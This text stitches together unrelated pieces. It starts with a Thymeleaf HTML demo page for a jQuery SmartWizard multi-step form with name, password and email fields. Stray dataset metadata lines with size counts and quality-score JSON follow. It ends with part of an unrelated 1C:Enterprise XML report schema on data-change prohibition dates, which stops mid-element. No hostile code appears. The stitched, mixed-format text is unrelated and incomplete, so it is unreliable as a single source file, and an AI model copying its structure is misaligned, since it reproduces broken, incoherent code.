<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('表单向导')" /> <th:block th:include="include :: jquery-smartwizard-css" /> <style type="text/css"> /* 如果要让工具栏固定在页面底部,使用下面的样式,不需要的可以注释 */ .sw>.toolbar-bottom{ z-index: 100; bottom: 0px; left: 0; width: 100%; position: fixed; text-align: right; background: #fff; box-shadow: 0 -2px 6px 1px hsla(223,8%,83%,.5); border-top: 1px solid #e3e4e8; } /* 如果设置了是否自动调节高度为false,需要加滚动条 */ .sw>.tab-content{ overflow-x: hidden; overflow-y: auto; } /* 解决工具栏无法固定底部的问题(如果页面没有animated类可以不写这部分代码) */ .animated { animation-fill-mode: none; -webkit-animation-fill-mode: none; -moz-animation-fill-mode: none; -o-animation-fill-mode: none; } </style> </head> <body class="gray-bg"> <div class="wrapper wrapper-content animated fadeInRight" style="height: 100%;"> <div class="row"> <div class="col-sm-12"> <div class="ibox"> <div class="ibox-title"> <h5> 表单向导 <small>https://github.com/techlab/jquery-smartwizard</small> </h5> </div> <div class="ibox-content"> <div class="row select-list" style="padding-left: 15px; margin-bottom: 10px;"> <ul> <li> 选择样式: <select id="theme-selector"> <option value="default">Default</option> <option value="arrows" selected>Arrows</option> <option value="dots">Dots</option> <option value="progress">Progress</option> </select> </li> <!-- 快速操作栏按钮 --> <li> <div class="btn-group-sm" role="group"> <a class="btn btn-info" id="prev-btn"> 上一步 </a> <a class="btn btn-success" id="next-btn"> 下一步 </a> <a class="btn btn-danger" id="reset-btn"> 重置 </a> </div> </li> </ul> </div> <div id="smartwizard"> <ul class="nav"> <li class="nav-item"> <a class="nav-link" href="#step-1"> 第一步 </a> </li> <li class="nav-item"> <a class="nav-link" href="#step-2"> 第二步 </a> </li> <li class="nav-item"> <a class="nav-link" href="#step-3"> 第三步 </a> </li> <li class="nav-item"> <a class="nav-link" href="#step-4"> 第四步 </a> </li> </ul> <div class="tab-content"> <div id="step-1" class="tab-pane" role="tabpanel" aria-labelledby="step-1"> <div> <form class="form form-horizontal m-t"> <div class="form-group"> <label class="col-sm-3 control-label">姓氏:</label> <div class="col-sm-8"> <input id="firstname" name="firstname" class="form-control" type="text"> <span class="help-block m-b-none"> <i class="fa fa-info-circle"></i> 这里写点提示的内容 </span> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label is-required">名字:</label> <div class="col-sm-8"> <input id="lastname" name="lastname" class="form-control" type="text" required> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label is-required">用户名:</label> <div class="col-sm-8"> <input id="username" name="username" class="form-control" type="text" required> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">密码:</label> <div class="col-sm-8"> <input id="password" name="password" class="form-control" type="password"> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">确认密码:</label> <div class="col-sm-8"> <input id="confirm_password" name="confirm_password" class="form-control" type="password"> <span class="help-block m-b-none"> <i class="fa fa-info-circle"></i> 请再次输入您的密码 </span> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">E-mail:</label> <div class="col-sm-8"> <input id="email" name="email" class="form-control" type="email"> </div> </div> </form> </div> </div> <div id="step-2" class="tab-pane" role="tabpanel" aria-labelledby="step-2"> <div> <form class="form form-horizontal m-t"> <div class="form-group"> <label class="col-sm-3 control-label">性别:</label> <div class="col-sm-8"> <select name="sex" class="form-control m-b" th:with="type=${@dict.getType('sys_user_sex')}"> <option th:each="dict : ${type}" th:text="${dict.dictLabel}" th:value="${dict.dictValue}"></option> </select> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">时间:</label> <div class="col-sm-8"> <input id="time" name="time" class="form-control time-input" type="text"> </div> </div> <div class="form-group"> <label class="col-sm-3 control-label">状态:</label> <div class="col-sm-8"> <div class="radio-box" th:each="dict : ${@dict.getType('sys_normal_disable')}"> <input type="radio" th:id="${dict.dictCode}" name="status" th:value="${dict.dictValue}" th:checked="${dict.default}"> <label th:for="${dict.dictCode}" th:text="${dict.dictLabel}"></label> </div> </div> </div> </form> </div> </div> <div id="step-3" class="tab-pane" role="tabpanel" aria-labelledby="step-3"> <div class="m-t-md"> <p>1、如果不需要工具栏固定在页面底部, 将style中下面的部分取消注释<blockquote>.sw>.toolbar-bottom </blockquote></p> <p>2、如果设置了自动调节高度(autoAdjustHeight)为true, 将style中下面的部分取消注释<blockquote>.sw>.tab-content </blockquote></p> <p>3、工具栏的按钮样式会被表单插件中.btn样式覆盖导致bootstrap中的按钮样式无效, 如果需要改变按钮样式可以自己定义并提高优先级</blockquote></p> </div> </div> <div id="step-4" class="tab-pane" role="tabpanel" aria-labelledby="step-4"> <div class="m-t-md"> <h3>测试多行显示</h3> <pre style="overflow-x: hidden;"> $('#smartwizard').smartWizard({ selected: 0, // Initial selected step, 0 = first step theme: 'default', // theme for the wizard, related css need to include for other than default theme justified: true, // Nav menu justification. true/false darkMode:false, // Enable/disable Dark Mode if the theme supports. true/false autoAdjustHeight: true, // Automatically adjust content height cycleSteps: false, // Allows to cycle the navigation of steps backButtonSupport: true, // Enable the back button support enableURLhash: true, // Enable selection of the step based on url hash transition: { animation: 'none', // Effect on navigation, none/fade/slide-horizontal/slide-vertical/slide-swing speed: '400', // Transion animation speed easing:'' // Transition animation easing. Not supported without a jQuery easing plugin }, toolbarSettings: { toolbarPosition: 'bottom', // none, top, bottom, both toolbarButtonPosition: 'right', // left, right, center showNextButton: true, // show/hide a Next button showPreviousButton: true, // show/hide a Previous button toolbarExtraButtons: [] // Extra buttons to show on toolbar, array of jQuery input/buttons elements }, anchorSettings: { anchorClickable: true, // Enable/Disable anchor navigation enableAllAnchors: false, // Activates all anchors clickable all times markDoneStep: true, // Add done state on navigation markAllPreviousStepsAsDone: true, // When a step selected by url hash, all previous steps are marked done removeDoneStepOnNavigateBack: false, // While navigate back done step after active step will be cleared enableAnchorOnDoneStep: true // Enable/Disable the done steps navigation }, keyboardSettings: { keyNavigation: true, // Enable/Disable keyboard navigation(left and right keys are used if enabled) keyLeft: [37], // Left key code keyRight: [39] // Right key code }, lang: { // Language variables for button next: 'Next', previous: 'Previous' }, disabledSteps: [], // Array Steps disabled errorSteps: [], // Highlight step with errors hiddenSteps: [] // Hidden steps }); </pre> </div> </div> </div> </div> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> <th:block th:include="include :: jquery-smartwizard-js" /> <script> $(document).ready(function() { // 工具栏按钮 var btnFinish = $('<a id="btn-finish"></a>').text('完成') .addClass('btn btn-info') .on('click', function(){ submit(); }); var btnCancel = $('<a id="btn-cancel"></a>').text('取消') .addClass('btn btn-danger') .on('click', function(){ $('#smartwizard').smartWizard("reset"); }); // 下面两个按钮是为了因为插件默认的是botton,这里换成<a>,也可以选择用样式替换,或者不替换 var btnNext = $('<a id="btn-next"></a>').text('下一步') .addClass('btn btn-info') .on('click', function(){ $('#smartwizard').smartWizard("next");}); var btnPrev = $('<a id="btn-prev"></a>').text('上一步') .addClass('btn btn-success disabled') .on('click', function(){ $('#smartwizard').smartWizard("prev"); }); // 初始化表单向导组件 $('#smartwizard').smartWizard({ theme: 'arrows', // default, arrows, dots, progress autoAdjustHeight : false, // 自动调整高度, 默认true enableURLhash:false, //开启URL hash,开启后点击浏览器前进后退按钮会执行下一步和上一步操作 transition: { animation: 'slide-horizontal', // Effect on navigation, none/fade/slide-horizontal/slide-vertical/slide-swing }, toolbarSettings: { showNextButton: false,// 因为上面自定义了下一步按钮, 所以隐藏掉插件自带的按钮, 如果不使用自定义按钮, 需要改为true或者去掉该属性 showPreviousButton: false,// 因为上面自定义了上一步按钮, 所以隐藏掉插件自带的按钮, 如果不使用自定义按钮, 需要改为true或者去掉该属性 toolbarExtraButtons: [btnCancel,btnPrev,btnNext,btnFinish]// 扩展的按钮集合 } }); }); function submit(){ var data = {}; $('.form').each(function (index, form){ // 这里可以使用$.common.formToJSON(formId); 需要在form上加id $.each($(form).serializeArray(), function(i, field) { if(data[field.name]) { data[field.name] += ("," + field.value); } else { data[field.name] = field.value; } }); }); alert(JSON.stringify(data)) } // 显示步骤时将触发事件 $("#smartwizard").on("showStep", function(e, anchorObject, stepNumber, stepDirection, stepPosition) { // 下面按钮是快速操作栏的 $("#prev-btn").removeClass('disabled'); $("#next-btn").removeClass('disabled'); // 下面按钮是工具栏的 $("#btn-prev").removeClass('disabled'); $("#btn-next").removeClass('disabled'); $("#btn-finish").removeClass('disabled'); if(stepPosition === 'first') { $("#prev-btn").addClass('disabled');// 快速操作栏(演示用) $("#btn-prev").addClass('disabled'); $("#btn-finish").addClass('disabled'); } else if(stepPosition === 'last') { $("#next-btn").addClass('disabled');// 快速操作栏(演示用) $("#btn-next").addClass('disabled'); } else { $("#prev-btn").removeClass('disabled');// 快速操作栏(演示用) $("#next-btn").removeClass('disabled');// 快速操作栏(演示用) $("#btn-prev").removeClass('disabled'); $("#btn-next").removeClass('disabled'); $("#btn-finish").addClass('disabled'); } }); // 该事件在离开某个步骤之前触发 $("#smartwizard").on("leaveStep", function(e, anchorObject, currentStepNumber, nextStepNumber, stepDirection) { if(stepDirection == 'forward'){ var form = $("#step-" + (currentStepNumber + 1)).find('.form'); if(form.length > 0){ return form.validate().form(); } return true; } return true; }); $("#theme-selector").on("change", function() { // Change theme var options = { theme : $(this).val() }; $('#smartwizard').smartWizard("setOptions", options); return true; }); $("#reset-btn").on("click", function() { // Reset wizard $('#smartwizard').smartWizard("reset"); return true; }); $("#prev-btn").on("click", function() { // Navigate previous $('#smartwizard').smartWizard("prev"); return true; }); $("#next-btn").on("click", function() { // Navigate next $('#smartwizard').smartWizard("next"); return true; }); </script> </body> </html>
13,298
wizard
html
en
html
code
{"qsc_code_num_words": 1410, "qsc_code_num_chars": 13298.0, "qsc_code_mean_word_length": 5.12907801, "qsc_code_frac_words_unique": 0.27588652, "qsc_code_frac_chars_top_2grams": 0.02737832, "qsc_code_frac_chars_top_3grams": 0.02627212, "qsc_code_frac_chars_top_4grams": 0.01797566, "qsc_code_frac_chars_dupe_5grams": 0.31485066, "qsc_code_frac_chars_dupe_6grams": 0.25373341, "qsc_code_frac_chars_dupe_7grams": 0.23022677, "qsc_code_frac_chars_dupe_8grams": 0.21003872, "qsc_code_frac_chars_dupe_9grams": 0.15099558, "qsc_code_frac_chars_dupe_10grams": 0.15099558, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00838662, "qsc_code_frac_chars_whitespace": 0.28267409, "qsc_code_size_file_byte": 13298.0, "qsc_code_num_lines": 339.0, "qsc_code_num_chars_line_max": 132.0, "qsc_code_num_chars_line_mean": 39.22713864, "qsc_code_frac_chars_alphabet": 0.74976413, "qsc_code_frac_chars_comments": 0.04564596, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.3836478, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.19226223, "qsc_code_frac_chars_long_word_length": 0.00929793, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.21130997, "qsc_codehtml_num_chars_text": 2810.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 0, "qsc_codehtml_num_chars_text": 0}
1c-syntax/ssl_3_1
src/cf/Reports/ДатыЗапретаИзменения/Templates/ОсновнаяСхемаКомпоновкиДанных/Ext/Template.xml
<?xml version="1.0" encoding="UTF-8"?> <DataCompositionSchema xmlns="http://v8.1c.ru/8.1/data-composition-system/schema" xmlns:dcscom="http://v8.1c.ru/8.1/data-composition-system/common" xmlns:dcscor="http://v8.1c.ru/8.1/data-composition-system/core" xmlns:dcsset="http://v8.1c.ru/8.1/data-composition-system/settings" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <dataSource> <name>ИсточникДанных1</name> <dataSourceType>Local</dataSourceType> </dataSource> <dataSet xsi:type="DataSetObject"> <name>НаборДанных</name> <field xsi:type="DataSetFieldField"> <dataPath>ДатаЗапрета</dataPath> <field>ДатаЗапрета</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Дата запрета</v8:content> </v8:item> </title> <appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Формат</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>ДЛФ=D; ДП='Без запрета'</v8:content> </v8:item> </dcscor:value> </dcscor:item> </appearance> </field> <field xsi:type="DataSetFieldField"> <dataPath>Объект</dataPath> <field>Объект</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Объект</v8:content> </v8:item> </title> <presentationExpression>ОбъектПредставление</presentationExpression> </field> <field xsi:type="DataSetFieldField"> <dataPath>АдресатНастройки</dataPath> <field>АдресатНастройки</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Адресат настройки</v8:content> </v8:item> </title> <presentationExpression>АдресатНастройкиПредставление</presentationExpression> </field> <field xsi:type="DataSetFieldField"> <dataPath>Раздел</dataPath> <field>Раздел</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Раздел</v8:content> </v8:item> </title> <presentationExpression>РазделПредставление</presentationExpression> </field> <field xsi:type="DataSetFieldField"> <dataPath>ВладелецНастройки</dataPath> <field>ВладелецНастройки</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Владелец настройки</v8:content> </v8:item> </title> <presentationExpression>ВладелецНастройкиПредставление</presentationExpression> </field> <field xsi:type="DataSetFieldField"> <dataPath>ДатаЗапретаНастройки</dataPath> <field>ДатаЗапретаНастройки</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Дата запрета настройки</v8:content> </v8:item> </title> <appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Формат</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>ДЛФ=D; ДП='Без запрета'</v8:content> </v8:item> </dcscor:value> </dcscor:item> </appearance> </field> <field xsi:type="DataSetFieldField"> <dataPath>ПриоритетНастройки</dataPath> <field>ПриоритетНастройки</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Приоритет настройки</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>Комментарий</dataPath> <field>Комментарий</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Комментарий</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>КомментарийНастройки</dataPath> <field>КомментарийНастройки</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Комментарий настройки</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>ОбъектПредставление</dataPath> <field>ОбъектПредставление</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Объект представление</v8:content> </v8:item> </title> <useRestriction> <field>true</field> <condition>true</condition> <group>true</group> <order>true</order> </useRestriction> <attributeUseRestriction> <field>true</field> <condition>true</condition> <group>true</group> <order>true</order> </attributeUseRestriction> </field> <field xsi:type="DataSetFieldField"> <dataPath>АдресатНастройкиПредставление</dataPath> <field>АдресатНастройкиПредставление</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Адресат настройки представление</v8:content> </v8:item> </title> <useRestriction> <field>true</field> <condition>true</condition> <group>true</group> <order>true</order> </useRestriction> <attributeUseRestriction> <field>true</field> <condition>true</condition> <group>true</group> <order>true</order> </attributeUseRestriction> </field> <field xsi:type="DataSetFieldField"> <dataPath>РазделПредставление</dataPath> <field>РазделПредставление</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Раздел представление</v8:content> </v8:item> </title> <useRestriction> <field>true</field> <condition>true</condition> <group>true</group> <order>true</order> </useRestriction> <attributeUseRestriction> <field>true</field> <condition>true</condition> <group>true</group> <order>true</order> </attributeUseRestriction> </field> <field xsi:type="DataSetFieldField"> <dataPath>ВладелецНастройкиПредставление</dataPath> <field>ВладелецНастройкиПредставление</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Владелец настройки представление</v8:content> </v8:item> </title> <useRestriction> <field>true</field> <condition>true</condition> <group>true</group> <order>true</order> </useRestriction> <attributeUseRestriction> <field>true</field> <condition>true</condition> <group>true</group> <order>true</order> </attributeUseRestriction> </field> <field xsi:type="DataSetFieldField"> <dataPath>НастройкаОбщаяДата</dataPath> <field>НастройкаОбщаяДата</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Настройка общая дата</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>НастройкаДляРаздела</dataPath> <field>НастройкаДляРаздела</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Настройка для раздела</v8:content> </v8:item> </title> </field> <field xsi:type="DataSetFieldField"> <dataPath>НастройкаДляВсехАдресатов</dataPath> <field>НастройкаДляВсехАдресатов</field> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Настройка для всех пользователей</v8:content> </v8:item> </title> </field> <dataSource>ИсточникДанных1</dataSource> <objectName>НаборДанных</objectName> </dataSet> <parameter> <name>Адресаты</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Пользователи</v8:content> </v8:item> </title> <valueType> <v8:Type xmlns:d4p1="http://v8.1c.ru/8.1/data/enterprise/current-config">d4p1:CatalogRef.ВнешниеПользователи</v8:Type> <v8:Type xmlns:d4p1="http://v8.1c.ru/8.1/data/enterprise/current-config">d4p1:CatalogRef.Пользователи</v8:Type> </valueType> <useRestriction>false</useRestriction> <valueListAllowed>true</valueListAllowed> <availableAsField>false</availableAsField> <inputParameters> <dcscor:item> <dcscor:parameter>ВыборГруппИЭлементов</dcscor:parameter> <dcscor:value xmlns:d5p1="http://v8.1c.ru/8.1/data/enterprise" xsi:type="d5p1:FoldersAndItemsUse">Items</dcscor:value> </dcscor:item> </inputParameters> </parameter> <parameter> <name>Разделы</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Разделы</v8:content> </v8:item> </title> <valueType> <v8:Type xmlns:d4p1="http://v8.1c.ru/8.1/data/enterprise/current-config">d4p1:ChartOfCharacteristicTypesRef.РазделыДатЗапретаИзменения</v8:Type> </valueType> <useRestriction>false</useRestriction> <valueListAllowed>true</valueListAllowed> <availableAsField>false</availableAsField> <inputParameters> <dcscor:item> <dcscor:parameter>ВыборГруппИЭлементов</dcscor:parameter> <dcscor:value xmlns:d5p1="http://v8.1c.ru/8.1/data/enterprise" xsi:type="d5p1:FoldersAndItemsUse">Items</dcscor:value> </dcscor:item> </inputParameters> </parameter> <parameter> <name>Объекты</name> <title xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Объекты</v8:content> </v8:item> </title> <valueType> <v8:TypeSet xmlns:d4p1="http://v8.1c.ru/8.1/data/enterprise/current-config">d4p1:Characteristic.РазделыДатЗапретаИзменения</v8:TypeSet> </valueType> <useRestriction>false</useRestriction> <valueListAllowed>true</valueListAllowed> <availableAsField>false</availableAsField> <inputParameters> <dcscor:item> <dcscor:parameter>ВыборГруппИЭлементов</dcscor:parameter> <dcscor:value xmlns:d5p1="http://v8.1c.ru/8.1/data/enterprise" xsi:type="d5p1:FoldersAndItemsUse">Items</dcscor:value> </dcscor:item> </inputParameters> </parameter> <settingsVariant> <dcsset:name>ДатыЗапретаИзмененияПоПользователям</dcsset:name> <dcsset:presentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Даты запрета изменения данных по пользователям</v8:content> </v8:item> </dcsset:presentation> <dcsset:settings xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows"> <dcsset:dataParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Адресаты</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>1180d09d-4a77-4722-adba-c6e6414fd51a</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Разделы</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>71ad5ca1-c013-4927-9a37-7fc3fa473d4a</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Объекты</dcscor:parameter> <dcscor:value xsi:nil="true"/> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>ea65ade9-ebe2-4bc5-a93b-0b5155325c51</dcsset:userSettingID> </dcscor:item> </dcsset:dataParameters> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВыводитьЗаголовок</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionTextOutputType">Auto</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Даты запрета изменения данных</v8:content> </v8:item> </dcscor:value> </dcscor:item> </dcsset:outputParameters> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаДляВсехАдресатов</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>АдресатНастройки</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаДляВсехАдресатов</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>АдресатНастройки</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаОбщаяДата</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Раздел</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>НастройкаДляРаздела</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Объект</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Комментарий</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаОбщаяДата</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Раздел</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НастройкаДляРаздела</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Объект</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemFolder"> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Раздел</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Объект</dcsset:field> </dcsset:item> <dcsset:placement>Together</dcsset:placement> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ДатаЗапрета</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Комментарий</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:use>false</dcsset:use> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ПриоритетНастройки</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ДатаЗапретаНастройки</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>ВладелецНастройки</dcsset:field> <dcsset:orderType>Asc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemFolder"> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ПриоритетНастройки</dcsset:field> </dcsset:item> 